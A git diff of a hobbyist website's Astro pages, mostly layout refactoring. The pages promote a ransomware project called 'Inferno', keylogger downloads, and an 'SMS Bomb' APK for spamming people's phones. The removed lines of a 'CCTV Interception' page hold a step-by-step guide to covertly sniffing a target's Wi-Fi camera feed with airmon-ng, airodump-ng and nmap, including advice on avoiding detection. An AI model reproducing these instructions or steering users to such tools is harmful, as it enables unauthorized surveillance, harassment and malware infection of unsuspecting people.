@@ -6,20 +6,23 @@ import Navbar    from '../components/Navbar.astro';
 import Footer    from '../components/Footer.astro';
 import BackToTop from '../components/BackToTop.astro';
 ---
+
 <Head title="Pynx's Projects" heroid="ehs" description="View Pynx's projects." keywords="AT Products, Ethical Hacking Society, The Script Community, AT Products LLC, ATproducts" author="Alex Toucan & Pynx"/>
 <div id="page">
   <Navbar />
-  <main id="pynx" class="text-center"> 
-    <CardPage id="ehs" title="Pynx's Projects" size="md"
-      cardLinks={[
-        { cardTitle: "PSON", cardDescription: "The better JSON for programming languages.", cardHref: "/pson" },
-        { cardTitle: "BxPP", cardDescription: "A custom Python programming language!", cardHref: "/bxpp" },
-        { cardTitle: "Inferno", cardDescription: "Inferno is a very malicious ransomware executable that is relentless.", cardHref: "/inferno" },
-        { cardTitle: "Noodle Hackerspace", cardDescription: "This community contains Pynx's code samples.", cardImage: "/media/images/noodle.webp", cardHref: "/noodle", secondaryHref: "/backup/noodle", additionalImageClasses: "w-25 py-1" },
-      ]} 
-    />
-  </main>
-  <Footer author="Alex Toucan & Pynx" hr="none" marginTop="true" />
+  <div id="main-content">
+    <main id="pynx" class="text-center"> 
+      <CardPage id="ehs" title="Pynx's Projects" size="md"
+        cardLinks={[
+          { cardTitle: "PSON", cardDescription: "The better JSON for programming languages.", cardHref: "/pson" },
+          { cardTitle: "BxPP", cardDescription: "A custom Python programming language!", cardHref: "/bxpp" },
+          { cardTitle: "Inferno", cardDescription: "Inferno is a very malicious ransomware executable that is relentless.", cardHref: "/inferno" },
+          { cardTitle: "Noodle Hackerspace", cardDescription: "This community contains Pynx's code samples.", cardImage: "/media/images/noodle.webp", cardHref: "/noodle", secondaryHref: "/backup/noodle", additionalImageClasses: "w-25 py-1" },
+        ]} 
+      />
+    </main>
+    <Footer author="Alex Toucan & Pynx" hr="none" marginTop="true" />
+  </div>
   <BackToTop />
 </div>
 <Scripts />
diff --git a/src/pages/roms.astro b/src/pages/roms.astro
new file mode 100644
index 000000000..9483ac333
--- /dev/null
+++ b/src/pages/roms.astro
@@ -0,0 +1,68 @@
+---
+import Head from '../layouts/Head.astro';
+import Scripts from '../layouts/Scripts.astro';
+import Hero     from '../components/Hero.astro';
+import Navbar    from '../components/Navbar.astro';
+import Footer    from '../components/Footer.astro';
+import BackToTop from '../components/BackToTop.astro';
+---
+
+<Head title="AT's ROM Games" heroid="roms" description="AT's ROM Games is a discontinued collection of ROMs from back in 2021." keywords="ROMS, AT's ROM Games, AT Products" author="Alex Toucan" />
+<div id="page">
+  <Navbar />
+  <div class="alert alert-dark mb-0" role="alert">
+    This is an discontinued product. Expect no new updates or changes.
+  </div>
+  <div id="main-content">
+    <Hero
+      id="roms"
+      description="A <strong>discontinued</strong> collection of ROMs from back in 2021!"
+      imageSrc="/media/images/AT-ROM-Games-with-logo-white.webp" 
+      imageWidth="30%" 
+      imageAlt="AT's ROM Games"
+      minImageWidth="300px" 
+      container="true"
+      buttons={[
+        { href: "#downloads", text: "Downloads", type: "primary" },
+      ]},
+      dropdownItems={[
+        { navigationDesc: "What is AT's ROM Games?", navigationLink: "#what" },
+        { navigationDesc: "Downloads", navigationLink: "#downloads" },
+      ]},
+    />
+    <main id="roms" class="container">
+      <div id="what">
+        <h2>What is AT's ROM Games?</h2>
+        <p>AT's ROM Games is a <strong>discontinued</strong> collection of various ROMs (including Flash, Nintendo, Sony, Microsoft, Apple, Commodore, etc.), and includes emulators (includes mostly Windows and Mac based ones) to play such ROMs. AT's ROM Games has been in and out of this website, but the complete comeback makes it a rememberance to our first product, all the way back in late 2021. 
+        <br><br>For more information about AT's ROM Games, please visit the 1.0 build of the page <a href="https://1-0.atproducts.xyz/roms">here</a>.
+        <br><br>The current version from May 28th, 2022, is 3.0. As a discontinued product, AT's ROM Games will never be updated again.
+        </p>
+      </div>
+      <hr>
+      <div id="downloads">
+        <h2>Downloads</h2>
+        <div class="d-grid d-md-flex flex-wrap gap-2 py-2">
+          <a class="btn btn-primary btn-lg" href="https://mega.nz/folder/xa1DFLjS#l6bJvDJA1P7Thj0zwHrryw">AT's ROM Games 3.0 (mega.nz)</a>
+        </div>
+        <h3>Pre-betas</h3>
+        <p>These versions are from late 2021 and are still up.</p>
+        <div class="d-grid gap-2">
+          <div class="d-grid d-md-flex flex-wrap gap-2">
+            <a class="btn btn-secondary col" href="https://archive.org/download/ats-rom-games-2.0-flash-pre-release-1/AT%27s%20ROM%20Games%202.0%20-%20Flash%20-%20Pre-release%201.zip">AT's ROM Games 2.0 - Pre-release 1 (archive.org)</a>
+            <a class="btn btn-secondary col" href="https://archive.org/download/ats-rom-games-2.0-pre-release-2/AT%27s%20ROM%20Games%202.0%20-%20Pre-release%202.zip">AT's ROM Games 2.0 - Pre-release 2 (archive.org)</a>
+          </div>
+          <div class="d-grid d-md-flex flex-wrap gap-2">
+            <a class="btn btn-secondary col" href="https://archive.org/download/ats-rom-games-2.0/AT%27s%20ROM%20Games%202.0.zip">AT's ROM Games 2.0 - Overhauled MDickie Flash Collection (archive.org)</a>
+            <a class="btn btn-secondary col" href="https://archive.org/download/mdickie-flash/MDickie%20Flash.zip">AT's ROM Games 2.0 - Original MDickie Flash Collection (archive.org)</a>
+          </div>
+          <div class="d-grid d-md-flex flex-wrap gap-2">
+            <a class="btn btn-secondary col" href="https://archive.org/download/ats-rom-games-flash-6.2.21/AT%27s%20ROM%20Games%20-%20Flash%20%286.2.21%29.zip">AT's ROM Games 2.0 - Original Flash Collection (archive.org)</a>
+          </div>
+        </div>
+      </div>
+    </main>
+    <Footer author="Alex Toucan" />
+  </div>
+  <BackToTop />
+</div>
+<Scripts />
diff --git a/src/pages/script.astro b/src/pages/script.astro
index 8c4345906..4dfcc1127 100644
--- a/src/pages/script.astro
+++ b/src/pages/script.astro
@@ -14,9 +14,10 @@ import BackToTop from '../components/BackToTop.astro';
 <Head title="The Script Community" heroid="script" icon="vibrant2.png" description="The Script Community is for hacking enthusiasts to share their knowledge." keywords="Scripts, viruses, coding," author="Alex Toucan & Nasus"/>
 <div id="page"> 
   <Navbar />
-    <div class="alert alert-dark mb-0" role="alert">
-      This is an inactive community. Expect no new sections or changes without special exceptions.
-    </div>
+  <div class="alert alert-dark mb-0" role="alert">
+    This is an inactive community. Expect no new sections or changes without special exceptions.
+  </div>
+  <div id="main-content">
     <Hero id="script" title="The Script Community" description="The Script Community is for hacking enthusiasts to share their knowledge." imageSrc="/media/images/vibrant2.png" imageWidth="15%" minImageWidth="150px" imageClasses="me-md-3" 
       buttons={[
         { href: "/backup/script", text: "View the all laid out format", type: "secondary" },
@@ -71,15 +72,17 @@ import BackToTop from '../components/BackToTop.astro';
               >
                 <Fragment slot="scrollspy-content">
                   <div id="com-1">
-                    <h4>Comments</h4>
+                    <h3>Comments</h3>
                     <p>You can write text that the program will ignore by beginning the line with a #, this helps with reminding you what certain code does or for explaining purposes.<br><br>
-                      <code>
-                        # This is a comment
-                      </code>
+<pre>
+<code>
+# This is a comment
+</code>
+</pre>
                     </p>
                   </div>
                   <div id="data-1">
-                    <h4>Data Types</h4>
+                    <h3>Data Types</h3>
                     <p>Variables can store data of different types, and different types can do different things.</p>
                     <p>Python has the following data types built-in by default, in these categories:<br>
                     Text Type: <code>str</code><br>
@@ -89,50 +92,61 @@ import BackToTop from '../components/BackToTop.astro';
                     Set Types: <code>set, frozenset</code><br>
                     Boolean Type: <code>bool</code><br>
                     Binary Types: <code>bytes, bytearray, memoryview</code></p>
-                    <p>We will go more in-depth on some of these types in the next few paragraphs.</p>
-                    <p>You can print the data type of a variable with the type() function:<br>
-                      <code>
-                      x = 5 <br>
-                      print(type(x))
-                      </code>
+                    <p>We will go more in-depth on some of these types in the next few sections.</p>
+                    <p>You can print the data type of a variable with the <code>type()</code> function:</p>
+<pre>
+<code>
+x = 5 <br>
+print(type(x))
+</code>
+</pre>
                     </p>
                   </div>
                   <div id="str-1">
-                    <h4>Strings</h4>
+                    <h3>Strings</h3>
                     <p>Strings are surrounded by either single quotation marks, or double quotation marks.</p>
-                    <code>
-                      x = "hello" <br>
-                      y = 'hello' <br>
-                      # single quotations and double quotation marks are the same<br>
-                      x == y # returns True
-                    </code>
-                    <p>You can assign a multiline string to a variable by using three quotes:<br>
-                      <code>
-                        x = """The FitnessGram Pacer test is a multistage aerobic capacity test that progressively gets more difficult as it continues. The 20 meter Pacer test will begin in 30 seconds."""
-                      </code>
-                    </p>
-                    <p>You can check the length of a string using the len() function:
-                      <code>
-                        py<br>
-                        x = "hello"<br>
-                        print(len(text)) # returns 5<br>
-                      </code>
+<pre>
+<code>
+x = "hello" <br>
+y = 'hello' <br>
+# single quotations and double quotation marks are the same<br>
+x == y # returns True
+</code>
+</pre>
+                    <p>You can assign a multiline string to a variable by using three quotes:</p>
+<pre>
+<code>
+x = """The FitnessGram Pacer test is a multistage aerobic capacity test that progressively gets more difficult as it continues. The 20 meter Pacer test will begin in 30 seconds."""
+</code>
+</pre>
+                    <p>You can check the length of a string using the len() function:</p>
+<pre>
+<code>
+py<br>
+x = "hello"<br>
+print(len(text)) # returns 5<br>
+</code>
+</pre>
                     </p>
                   </div>
                   <div id="num-1">
-                    <h4>Numbers</h4>
+                    <h3>Numbers</h3>
                     <p>There are 2 primary, <code>int</code> and <code>float</code></p>
-                    <p>
-                      <code>
-                        py<br>
-                        x = 2 # int<br>
-                        y = 2.8 # float
-                        </code></p>
-                        <p>To verify the type of an object in Python, use the type() function:<code>
-                        py<br>
-                        print(type(x))<br>
-                        print(type(y))
-                      </code>
+<pre>
+<code>
+py
+x = 2 # int
+y = 2.8 # float
+</code>
+</pre>
+                      <p>To verify the type of an object in Python, use the <code>type()</code> function:
+<pre>
+<code>
+py
+print(type(x))
+print(type(y))
+</code>
+</pre>
                     </p>
                     <p>Int, or integers, are whole numbers, positive or negative, without decimals.</p>
                     <p>Float is a number, positive or negative, containing one or more decimals.</p>
@@ -155,28 +169,28 @@ import BackToTop from '../components/BackToTop.astro';
               >
                 <Fragment slot="scrollspy-content">
                   <div id="html-2">
-                    <h4>Including JavaScript in an HTML Page</h4>
+                    <h3>Including JavaScript in an HTML Page</h3>
                     <p>
-                      <code>
-                        &lt;script type="text/javascript"&gt; <br>
-                        &nbsp;//JS code goes here <br>
-                        &lt;/script&gt; 
-                      </code>
+<pre>
+<code>
+&lt;script type="text/javascript"&gt;
+  //JS code goes here <br>
+&lt;/script&gt; 
+</code>
+</pre>
                     </p>
                   </div>
                     <div id="call-2">
-                    <h4>Call an External JavaScript File</h4>
-                    <p>
-                      <code>&lt;script src="myscript.js"&gt;&lt;/script&gt;</code>
-                    </p>
+                    <h3>Call an External JavaScript File</h3>
+<pre><code>&lt;script src="myscript.js"&gt;&lt;/script&gt;</code>
                   </div>
                   <div id="com-2">
-                    <h4>Including Comments</h4>
+                    <h3>Including Comments</h3>
                     <p>Single line comments - <code>// Comment</code> <br>
                     Multi-line comments - <code>/* comment here */</code></p>
                   </div>
                   <div id="var-2">
-                    <h4>Variables</h4>
+                    <h3>Variables</h3>
                     <p>
                     <code>var, const, let</code><br>
                     <code>var</code> — The most common variable. Can be reassigned but only accessed within a function. Variables defined with var move to the top when code is executed.<br>
@@ -185,7 +199,7 @@ import BackToTop from '../components/BackToTop.astro';
                     </p>
                   </div>
                   <div id="data-2">
-                    <h4>Data Types</h4>
+                    <h3>Data Types</h3>
                     <p>Numbers — <code>var age = 23</code> <br>
                     Variables — <code>var x</code><br>
                     Text (strings) — <code>var a = "init"</code><br>
@@ -194,14 +208,17 @@ import BackToTop from '../components/BackToTop.astro';
                     Constant numbers — <code>const PI = 3.14</code><br>
                     Objects — <code>var name = &lbrace;firstName&colon;"John", lastName&colon;”Doe"&rbrace;</code></p>
                     <p><b>Objects Example</b> <br>
-                    <code>
-                    var person = &lbrace;<br>
-                    &nbsp;&nbsp;firstName&colon;"John",<br>
-                    &nbsp;&nbsp;lastName&colon;"Doe",<br>
-                    &nbsp;&nbsp;age&colon;20,<br>
-                    &nbsp;&nbsp;nationality&colon;"American"<br>
-                    &rbrace;;
-                    </code></p>
+<pre>
+<code>
+var person = &lbrace;
+  firstName&colon;"John",
+  lastName&colon;"Doe",
+  age&colon;20,
+  nationality&colon;"American"
+&rbrace;;
+</code>
+</pre>
+                    </p>
                   </div>
                 </Fragment>
               </Scrollspy>
@@ -220,45 +237,47 @@ import BackToTop from '../components/BackToTop.astro';
               >
                 <Fragment slot="scrollspy-content">
                   <div id="example-3">
-                    <h4>Example Document</h4>
+                    <h3>Example Document</h3>
                     <p>
-                      <code>
-                        &lt;!DOCTYPE HTML&gt; <br>
-                        &lt;html&gt; <br>
-                        &lt;head&gt; <br>
-                        &lt;/head&gt; <br>
-                        &lt;body&gt; <br>
-                        &lt;h1&gt; This is a heading &lt;/h1&gt;<br>
-                        &lt;p&gt; This is text &lt;/p&gt;<br>
-                        &lt;a href="https://example.com"&gt;This is a link&lt;/a&gt;<br>
-                        &lt;img src="at.png" width="99.99% alt="Example Image"&gt; <br>
-                        &lt;/body&gt; <br>
-                        &lt;/html&gt; <br>
-                      </code>
+<pre>
+<code>
+&lt;!DOCTYPE HTML&gt;
+&lt;html&gt;
+  &lt;head&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;h1&gt; This is a heading &lt;/h1&gt;
+    &lt;p&gt; This is text &lt;/p&gt;
+    &lt;a href="https://example.com"&gt;This is a link&lt;/a&gt;
+    &lt;img src="at.png" width="99.99% alt="Example Image"&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</code> 
+</pre>
                     </p>
                     <p>We got to first lay down the very first thing to know. The <code>&lt;!DOCTYPE html&gt;</code> tag represents the Document Type and helps some browsers display correctly with your website, must only be used once. Some elements do need a closing tag, like <code>&lt;/center&gt;</code>.</p>
                     <p>The <code>&lt;head&gt;</code> tag is needed to represent the head of the website. The <code>&lt;body&gt;</code> tag is the same thing, but it's the body.</p>
                   </div>
                   <div id="text-3">
-                    <h4>HTML Text</h4>
+                    <h3>HTML Text</h3>
                     <p>Some elements are meant to show text like <code>&lt;text&gt;</code>, and <code>&lt;p&gt;</code>.</p>
                     <p><code>&lt;p&gt; This is text &lt;/p&gt;</code></p>
                   </div>
                   <div id="head-3">
-                    <h4>HTML Headings</h4>
+                    <h3>HTML Headings</h3>
                     <p>The <code>&lt;h&gt;</code> tag has 6 different sizes, from <code>&lt;h1&gt;</code> to <code>&lt;h6&gt;</code>.</p>
                     <p>1 is the hugest, to 6 is the smallest.</p>
                     <p><code>&lt;h1&gt; This is a heading &lt;/h1&gt;</code></p>
                   </div>
                   <div id="link-3">
-                    <h4>HTML Links</h4>
+                    <h3>HTML Links</h3>
                     <p>The <code>&lt;a&gt;</code> is a text element to represent links. Once clicked on the hyperlink, will redirect the user to a new link.</p>
                     <p><code>&lt;a href="atproducts.tk"&gt;Example Website&lt;/a&gt;</code></p>
                   </div>
                   <div id="img-3">
-                    <h4>HTML Images</h4>
+                    <h3>HTML Images</h3>
                     <p>The <code>&lt;img&gt;</code> tag is to show a image. The width or height description can be used by pixels or percentages by displays. The <code>alt</code> tag shows up when the image doesn't load or can't load, it shows the description.</p>
-                    <p><code>&lt;img src="at.png" width="99.99% alt="Example Image"&gt;</code></p>
+                    <pre><code>&lt;img src="at.png" width="99.99% alt="Example Image"&gt;</code></pre>
                   </div>
                 </Fragment>
               </Scrollspy>
@@ -321,7 +340,7 @@ import BackToTop from '../components/BackToTop.astro';
               <p> Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording the keys struck on a keyboard, typically covertly, so that a person using the keyboard is unaware that their actions are being monitored. Data can then be retrieved by the person operating the logging program. </p> 
               <br> <p> <a href="/media/files/keylogger.py" download="">Keylogger (Python | pynput)</a> by Nasus</p>
               <br>
-              <h4> CУБΞЯC's Recommendations </h4>
+              <h3> CУБΞЯC's Recommendations </h3>
               <p> 
                 <a href="/media/files/AdvKeylogger.py" download="">Advanced Key Logger (Python)</a> 
                 <a href="/media/files/Decryptor.py" download="">Decryptor (Python)</a> 
@@ -359,7 +378,7 @@ import BackToTop from '../components/BackToTop.astro';
                 <Fragment slot="accordion-content">
                   <AccordionItem title="Nitro Generator" id="ngott" parent="other-accordion">
                     <Fragment slot="accordion-item-content">
-                      <h4> Disclaimer </h4>
+                      <h3> Disclaimer </h3>
                       <p> Note that an actual working key would take over a billion (10^6) years to find. </p>
                       <br>
                       <p> 
@@ -482,14 +501,15 @@ import BackToTop from '../components/BackToTop.astro';
               </div>
               <p> Section by Nasus </p>
               <p> <a href="https://www.wireshark.org/#download">Wireshark</a> is a network protocol analyzer used to capture traffic. <br> <br>Putting your adapter in Monitor mode, or RFMON mode, allows a computer with a wireless network interface controller to monitor all traffic received on a wireless channel. Unlike promiscuous mode, which is also used for packet sniffing, monitor mode allows packets to be captured without having to associate with an access point<br> <br> Buy a WiFi Adapter that supports Monitor Mode.
-              The most recommended brand is Alla for WiFi Adapters.</p><h4> Tools </h4> <p class="mb-0">Alla Network AWUS036NH &amp; Alla Network 1000 mW AWUS036H.</p><br>
+              The most recommended brand is Alla for WiFi Adapters.</p><h3> Tools </h3> <p class="mb-0">Alla Network AWUS036NH &amp; Alla Network 1000 mW AWUS036H.</p><br>
               <p><a class="icon-link icon-link-hover" href="https://www.youtube.com/watch?v=zOYohNOnWp4">Tutorial<i class="bi bi-arrow-right h-100"></i></a></p>        
             </Fragment>
           </Modal>
         </div>
       </div>
     </main>
-  <Footer author="Alex Toucan & Nasus" />
+    <Footer author="Alex Toucan & Nasus" />
+  </div>
   <BackToTop />
 </div>
-<Scripts modal="true"/>
+<Scripts highlight="true" modal="true" accordion="true" scrollspy="true" />
diff --git a/src/pages/sms.astro b/src/pages/sms.astro
index 195e0c875..599d571bc 100644
--- a/src/pages/sms.astro
+++ b/src/pages/sms.astro
@@ -10,40 +10,41 @@ import BackToTop from '../components/BackToTop.astro';
 <Head title="SMS Bomb" heroid="sms" description="AT Products & ProtDos presents SMS Bomb. Download now to annoy your Android friends!" keywords="SMS, SMS Bomb, AT Products" author="Alex Toucan & CodingLive" />
 <div id="page">
   <Navbar />
-  <Hero
-    title="SMS Bomb"
-    id="sms"
-    description="An Android app that can spam messages very easily and very fast!"
-    imageSrc="/media/images/ya.png" 
-    imageWidth="30%" 
-    minImageWidth="150px" 
-    imageClasses="pe-md-3"
-    buttons={[
-      { href: "#downloads", text: "Downloads", type: "primary" },
-      { href: "/codinghome", text: "CodingHome", type: "secondary" },
-    ]},
-    dropdownItems={[
-      { navigationDesc: "What is SMS Bomb?", navigationLink: "#what" },
-      { navigationDesc: "Downloads", navigationLink: "#downloads" },
-    ]},
-  />
-  <main id="sms" class="container">
-    <div id="what">
-      <h2>What is SMS Bomb?</h2>
-      <p>SMS Bomb can spam messages to your friends! Only supported on Android, using a APK Installation file. <br>
-        <br> It'll use your phone number to spam SMS messages to the phone number you will input into thr app. The only way to stop the SMS Bombing is to shutdown/reset the host phone/device.<br>
-        <br> We are not responsible for any damage done to you or who you sent messages to using this app, meaning we are not responsible for making you lose a friend. <br>
-        <br> Made by <a href="https://discord.com/users/786495827827752990">@CodingLive on Discord</a> at <a href="codinghome">CodingHome</a>.
-      </p>
-      </p>
-    </div>
-    <hr>
-    <div id="downloads">
-      <h2>Downloads</h2>
-      <a href="/media/files/sms_bomb.apk" download>APK File for Android Devices</a>
-    </div>
-  </main>
-  <Footer author="Alex Toucan & CodingLive" />
+  <div id="main-content">
+    <Hero
+      title="SMS Bomb"
+      id="sms"
+      description="An Android app that can spam messages very easily and very fast!"
+      imageSrc="/media/images/ya.png" 
+      imageWidth="30%" 
+      minImageWidth="150px" 
+      imageClasses="pe-md-3"
+      buttons={[
+        { href: "#downloads", text: "Downloads", type: "primary" },
+        { href: "/codinghome", text: "CodingHome", type: "secondary" },
+      ]},
+      dropdownItems={[
+        { navigationDesc: "What is SMS Bomb?", navigationLink: "#what" },
+        { navigationDesc: "Downloads", navigationLink: "#downloads" },
+      ]},
+    />
+    <main id="sms" class="container">
+      <div id="what">
+        <h2>What is SMS Bomb?</h2>
+        <p>SMS Bomb can spam messages to your friends! Only supported on Android, using an APK Installation file. <br>
+          <br> It'll use your phone number to spam SMS messages to the phone number you will input into the app. The only way to stop the SMS Bombing is to shutdown/reset the host phone/device.<br>
+          <br> We are not responsible for any damage done to you or who you sent messages using this app, meaning we are not responsible for making you lose a friend. <br>
+          <br> Made by <a href="https://discord.com/users/786495827827752990">@CodingLive on Discord</a> at <a href="codinghome">CodingHome</a>.
+        </p>
+      </div>
+      <hr>
+      <div id="downloads">
+        <h2>Downloads</h2>
+        <a class="btn btn-primary btn-lg mt-2" href="/media/files/sms_bomb.apk" download>APK File for Android Devices</a>
+      </div>
+    </main>
+    <Footer author="Alex Toucan & CodingLive" />
+  </div>
   <BackToTop />
 </div>
 <Scripts />
diff --git a/src/pages/stories/cctv.astro b/src/pages/stories/cctv.astro
index e6af2b542..f14049e53 100644
--- a/src/pages/stories/cctv.astro
+++ b/src/pages/stories/cctv.astro
@@ -3,310 +3,292 @@ import Head from '../../layouts/Head.astro';
 import Navbar from '../../layouts/stories/Navbar.astro';
 import Scrollspy from '../../layouts/stories/Scrollspy.astro';
 import Scripts from '../../layouts/Scripts.astro';
-import Footer    from '../../components/Footer.astro';
 import BackToTop from '../../components/BackToTop.astro';
 ---
-  
-<Head title="CCTV Interception" description="AT Products LLC's Bookviewer presents 'CCTV Interception'!" author="Pynx"/>
-      <div id="page">
-  <Navbar
-breadcrumbcontent={[
-  { name: "Noodle Hackerspace", href: "/noodle", name2: "(Backup)", href2: "/backup/noodle" },
-]} />
-<Scrollspy id="cctv"
-scrollcontent={[
-  { name: "Prenote", href: "#prenote" },
-  { name: "Step 1", href: "#s1" },
-  { name: "Step 2", href: "#s2" },
-  { name: "Step 3", href: "#s3" },
-  { name: "Step 4", href: "#s4" },
-  { name: "Step 5", href: "#s5" },
-  { name: "Step 6", href: "#s6" },
-  { name: "Step 7", href: "#s7" },
-   { name: "Step 8", href: "#s8" },
-]}
-/>
-  <Fragment slot="scrollspy-content">
-    <div class="col-md-10 p-1 pt-mmd-2 px-mmd-2 story-top-scroll story-top-body story-scroll" tabindex="0" data-bs-smooth-scroll="true" data-bs-target="cctv-list" data-bs-spy="scroll">
-  <div id="intro" class="story-top-scroll">
-    <h1>CCTV Interception</h1>
-    <h5>By the <a href="/noodle">Noodle Hackerspace</a>.</h5>
-    <hr>
-            </div>
-<div id="prenote" class="story-top-scroll">
-  <h2>Prenote</h2>
-<h3>Needed Items</h3><p>A computer with <a href="https://www.Wireshark.org/">Wireshark</a> and <a href="https://www.aircrack-ng.org/">AirCrack</a>, wifi adapter that supports monitoring and some time.</p>
-<h3>Keywords</h3><p><code>&lbrace; &rbrace;</code> means commands for terminal. <code>( )</code> Means general stuff.</p>
-<hr>
-<p>To make this thing work we will need to use Wireshark to sniff out traffic between our host. Today's goal is to capture unencrypted HTTP traffic coming to the hosts' computer.<br><br>
-First things first, we have to break the encryption of the network. Even if you have the password, <b>do not</b> connect quite yet, it will bring attention to us and opens up more risk of detection. Instead, we can add some Wi-Fi keys we know to Wireshark. To decrypt the data, we sniff without connecting to the network. This means our attack will be mostly passive, leaving minimal opportunity for us to be detected.<br><br>
-One serious thing we'll need that is not passive is a Wi-Fi handshake to see the ongoing traffic. Because since Wireshark needs to observe a Wi-Fi handshake to decrypt subsequent traffic, the computer we're interested in with an awesome filter, captures a four-way WPA handshake and then decrypts the data with the password we know.
-<br><br>
-Conditions must be favorable for this attack to have a chance of succeeding. In particular, if the camera does not use an insecure interface, then the data will be encrypted, and we will not be able to see it.
-<br><br>
-If no one is watching the camera feed, or it's not displayed on a monitor, there will be no insecure traffic to intercept, so we will not see anything. If we cannot kick a client off the network momentarily to generate a four-way handshake, then knowing the password won't do us any good. And finally, if we're out of range of the network, we won't be able to intercept traffic we can't clear.
-<br><br>
-While this may seem like a lot of requirements, it's fairly common to be able to do this. If the target has a Wi-Fi security camera and keeps a monitor viewing the display, the Wi-Fi password should be all you need, aside from a Wi-Fi adapter.
-<br><br>
-You should be ready once you're in range and have any operating system loaded up with the required tools. Plug in your adapter, and make sure you have Wireshark installed to begin. If you don't have Wireshark, <code>sudo apt install Wireshark -y</code> or <code>sudo pacman -S Wireshark -y</code>.
-</p>
-      </div>
-<div id="s1" class="story-top-scroll">
-<h2>Step 1</h2>
-<p>
-To start, you'll need to access the built-in interface on whatever webcam or Wi-Fi security camera you want to intercept. In a browser window on your "host" computer, navigate to the HTTP interface, enter any password required, and begin viewing the live webcam view.
-<br><br>
-If you need to find your camera on the network, you can run a <a href="https://nmap.org/">Nmap</a> scan to discover different devices on the network running insecure HTTP ports.
-<br><br>
-For this command, you'll need to know the network range. you can find this by typing <code>ifconfig</code> and copying down the IP address assigned to your computer. Then, you can type <code>ipcalc</code> and your IP address to calculate the network range. It should be something like <code>192.168.0.0/24</code>. Run the following command but replace "IP" for your network range. <code>sudo nmap -p 80,81,8080, 8081 IP</code>
-<br><br>
-This will look for devices with these ports "open", and when you find one, you can navigate it by typing the IP address and then <code>:81</code> on that IP address. If you want to navigate to port <code>80801</code> type <code>192.168.0.1:8081</code> to your browser window.
-</p>
+
+<Head title="CCTV Interception" description="AT Products LLC's Bookviewer presents 'CCTV Interception'!" author="Pynx" />
+<div id="page">
+  <Navbar pageTitle="CCTV Interception" id="cctv"
+    link={[
+     { name: "Noodle Hackerspace" , href: "/noodle" },
+    ]}
+    breadcrumbcontent={[ 
+      { name: "Noodle Hackerspace" , href: "/noodle" },
+      { name: "(Backup)" , href: "/backup/noodle" }
+    ]} 
+  />
+  <div id="main-content">
+    <Scrollspy id="cctv" scrollcontent={[ { name: "Prenote" , href: "#prenote" }, { name: "Step 1" , href: "#s1" }, { name: "Step 2" , href: "#s2" }, { name: "Step 3" , href: "#s3" }, { name: "Step 4" , href: "#s4" }, { name: "Step 5" , href: "#s5" }, { name: "Step 6" , href: "#s6" }, { name: "Step 7" , href: "#s7" }, { name: "Step 8" , href: "#s8" }, ]} >
+      <Fragment slot="scrollspy-content">
+        <div id="intro" class="story-top-scroll">
+          <h1>CCTV Interception</h1>
+          <h5><b>Made by:</b> The <a href="/noodle">Noodle Hackerspace</a>. </h5>
+          <h5><b>Published by:</b> <a href="/">AT Products LLC</a>.</h5>
+          <h5><b>Published on:</b> May 17th, 2023.</h5>
+          <hr>
         </div>
-<div id="s2" class="story-top-scroll">
-<h2>Step 2</h2>
-<p>
-You'll need to plug in your Wi-Fi adapter, I prefer the "Alfa AWUSO36NHA". You'll need to do two things before starting up Wireshark, the first being putting the card into wireless monitor mode, and the second being identifying the channel the router you're targetting is broadcasting on. 
-<br><br>
-To put your card into wireless monitor mode, identify the name of your card by running <code>ifconfig</code> in a terminal window. It should be named something like <code>wlan0</code> or <code>wlan0mon</code>.<br><br>
-Once you've found the name of your wireless card, we'll need to put it into monitor mode. Run the following command in a terminal window, with the name of your card substituted for <code>wlan0</code>.
-<br><br>
-<code>airmon-ng start wlan0<br>
-  airodump-ng start wlan0mon
-</code><br><br>
-This will put your card in the wireless monitor more, changing the name of the card to add "mon" at the end. It will also start Airodump-ng, which will start scanning for nearby wireless networks. 
-<br><br>
-Please be sure to look for the Wi-Fi network that you're looking to sniff, and note the channel that it's on. We'll need to switch our card to that channel to intercept the images in Wireshark. The following is a sample output. <b>Some of the output has been converted to a table. It is still a part of the console output.</b>
-<code><br><br>
-<br><br>
-CH&nbsp;&nbsp;4 ][ Elapsed: 0 s ][ 2018-12-24 02:42<br>
-</code></p><pre> <table class="table">
-<thead>
-  <tr>
-    <th scope="col">BSSID</th>
-    <th scope="col">PWR</th>
-    <th scope="col">Beacons</th>
-    <th scope="col">#Data,</th>
-    <th scope="col">#/s</th>
-    <th scope="col">CH</th>
-    <th scope="col">MB</th>
-    <th scope="col">ENC</th>
-    <th scope="col">CIPHER</th>
-    <th scope="col">AUTH</th>
-    <th scope="col">ESSID</th>
-  </tr>
-</thead>
-<tbody>
-  <tr>
-    <td>C0:8A:DE:39:CD:D9</td>
-    <td>-46</td>
-    <td>2</td>
-    <td>0</td>
-    <td>0</td>
-    <td>1</td>
-    <td>130</td>
-    <td>WPA2</td>
-    <td>CCMP</td>
-    <td>MGT</td>
-    <td>TWCWiFi-Passpoint</td>
-  </tr>
-  <tr>
-    <td>C0:8A:DE:F9:CD:D8</td>
-    <td>-47</td>
-    <td>2</td>
-    <td>0</td>
-    <td>0</td>
-    <td>1</td>
-    <td>130</td>
-    <td>OPN</td>
-    <td></td>
-    <td></td>
-    <td>TWCWiFi</td>
-  </tr>
-  <tr>
-    <td>C0:8A:DE:B9:CD:D8</td>
-    <td>-46</td>
-    <td>2</td>
-    <td>0</td>
-    <td>0</td>
-    <td>1</td>
-    <td>130</td>
-    <td>OPN</td>
-    <td></td>
-    <td></td>
-    <td>SpectrumWiFi</td>
-  </tr>
-  <tr>
-    <td>C0:8A:DE:39:CD:D8</td>
-    <td>-47</td>
-    <td>2</td>
-    <td>0</td>
-    <td>0</td>
-    <td>1</td>
-    <td>130</td>
-    <td>OPN</td>
-    <td></td>
-    <td></td>
-    <td>CableWiFi</td>
-  </tr>
-  <tr>
-    <td>78:96:84:00:B5:B0</td>
-    <td>-42</td>
-    <td>2</td>
-    <td>0</td>
-    <td>0</td>
-    <td>1</td>
-    <td>130</td>
-    <td>WPA2</td>
-    <td>CCMP</td>
-    <td>PSK</td>
-    <td>The Daily Planet</td>
-  </tr>
-  <tr>
-    <td>00:9C:02:D2:5E:B9</td>
-    <td>-60</td>
-    <td>3</td>
-    <td>0</td>
-    <td>0</td>
-    <td>1</td>
-    <td>54e.</td>
-    <td>WPA2</td>
-    <td>CCMP</td>
-    <td>PSK</td>
